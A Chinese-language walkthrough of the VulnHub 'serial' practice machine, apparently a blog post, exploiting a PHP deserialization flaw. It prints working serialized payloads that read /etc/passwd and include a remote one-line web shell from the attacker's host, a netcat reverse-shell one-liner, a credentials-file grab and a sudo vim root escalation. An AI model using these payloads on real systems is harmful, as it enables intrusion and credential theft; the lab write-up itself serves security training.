反序列化漏洞靶机实战-serial

一.安装靶机

下载地址为https://download.vulnhub.com/serial/serial.zip,安装好后开启靶机,这里并不需要我们去登录,直接扫描虚拟机nat模式下c网段的ip,看看哪个的80端口开放,然后直接去访问

二.查找cookie

访问靶机ip后来到这样一个页面,按下f12检查,打开网络监视器

重新刷新一次页面后会出现两个流量,一个访问为200一个为404,我们点击200的流量,然后查看右边的消息头,可以在cookie中找到一串编码

我们将其解码后发现内容为

复制代码
O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}},这是一串字符序列,其中O代表的是object-项目,4则是项目名称字符数量,而项目名称则是User,2代表项目数量,10为第一个项目的字符长度,s为类型-string,以此类推,我们先将其保存起来

三.查询目录

我们利用kali去爆破靶机网站的目录,这里可以看到有一个backup目录可以访问

访问后看到一个bak.zip的压缩文件,点击可以将其下载

四.代码审计

下载解压得到三个文件,里面放着网站的源代码,这里就需要代码审计了,在index.php中我们可以看到user.class.php,它包含了user.class.php文件的代码,然后将cookie中的user的值进行base64编码

而user.name.php文件中包含了log.class.php,还定义了welcome与user两个类,而_construct()与_destruct()两个是序列化中的魔术函数,且有参数name,所以这里有反序列化漏洞

user.name.php文件还调用了log.class.php文件中的handler函数,log.class.php文件中则是定义了一个Log类,同时也有costruct函数,且handler函数对变量还进行了文件包含和输出

经过代码审计后就可以构造出pyload如下,将其放到任意一个php文件中然后访问即可得到序列化经过base64编码后的内容

复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}    //序列化

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==   //base64编码

五.抓包

我们在靶机网站首页开启抓包,然后刷新网页,获取到数据包,将其发送到重放器后,用我们构造的经过序列化和base64编码后的pyload去替换user后的内容然后发送即可得到passwd文件内容

六.获取shell

接下来我们就要获取shell,我们可以利用上面的pyload上传一个一句话木马,然后去连接。首先我们在自己的web根目录下新建一个3.txt文件,内容为<?php system($_GET'cmd');?>然后再次构造pyload:(其中ip为本机ip)

复制代码
<?php

class Log {
 public $type_log = "http://192.168.3.133/3.txt";
}
class User {
 public $name;
 public $wel;
function __construct($name) {
 $this->name = $name;
 $this->wel = new Log();
}
}
$us = new User("sk4");
print_r(serialize($us));
?>

将其序列化后进行base64编码:

复制代码
O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:26:"http://192.168.3.133/3.txt";}}

Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6Mzoic2s0IjtzOjM6IndlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjY6Imh0dHA6Ly8xOTIuMTY4LjMuMTMzLzMudHh0Ijt9fQ==

然后再次用其替换url后面内容发送即可成功获取shell,可以直接添加参数查数据

七.反弹shell

接下来就要反弹shell,将参数替换为如下语句,其中ip为开启监听的虚拟机,可以用虚拟机,只要能连接到靶机就行,7777则是监听的端口

复制代码
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.154.128+7777+>/tmp/f

发送后即可反弹到shell

其中credentials.txt.bak为敏感文件,cat其后即可看到sk4用户的密码,得到密码后就可以连接靶机的22端口了

八.提权

首先我们输入sudo -l查看当前用户无法执行的命令,发现vim所有用户都可使用,那么我们直接输入sudo vim进入编辑模式,输入!bash即可提权

相关推荐
对象存储与RustFS11 小时前
网盘限速逼你开会员?用 RustFS 自己搭一个不限速的“私人网盘
服务器·后端·docker
众壹新能源科技13 小时前
逆变器自带无功不够用,加装5MVar SVG后功率因数从0.85回到0.99
运维·人工智能·自动化
..Dauntless..13 小时前
【Linux】一切皆文件和缓冲区
linux·运维·服务器
裕晟资质规划13 小时前
三类资质变更报告时限差在哪?军工 15 日、集成印制 10 日
大数据·服务器·网络
QMCY_jason13 小时前
x86 ubuntu2204 无gui 安装 openeuler 2203 aarch64版本
linux·运维·服务器
重生之小比特13 小时前
【Linux系统】12 进程程序替换 自定义Shell 命令行解释器
linux·运维·服务器
轻舟技术A13 小时前
Provider 不属于 Agent 核心:rpi 的分层理由与收益
服务器·网络
考拉讲支付13 小时前
母婴亲子服务平台分账架构设计:多场景多方分账与合规清结算实践
大数据·运维·人工智能·微信小程序·架构·微信公众平台
连山齐名13 小时前
ai应用开发的学习笔记
服务器·笔记·学习
LateFrames13 小时前
“场控软件” 如何容错与运维
运维·容错·led大屏·播控系统·场控软件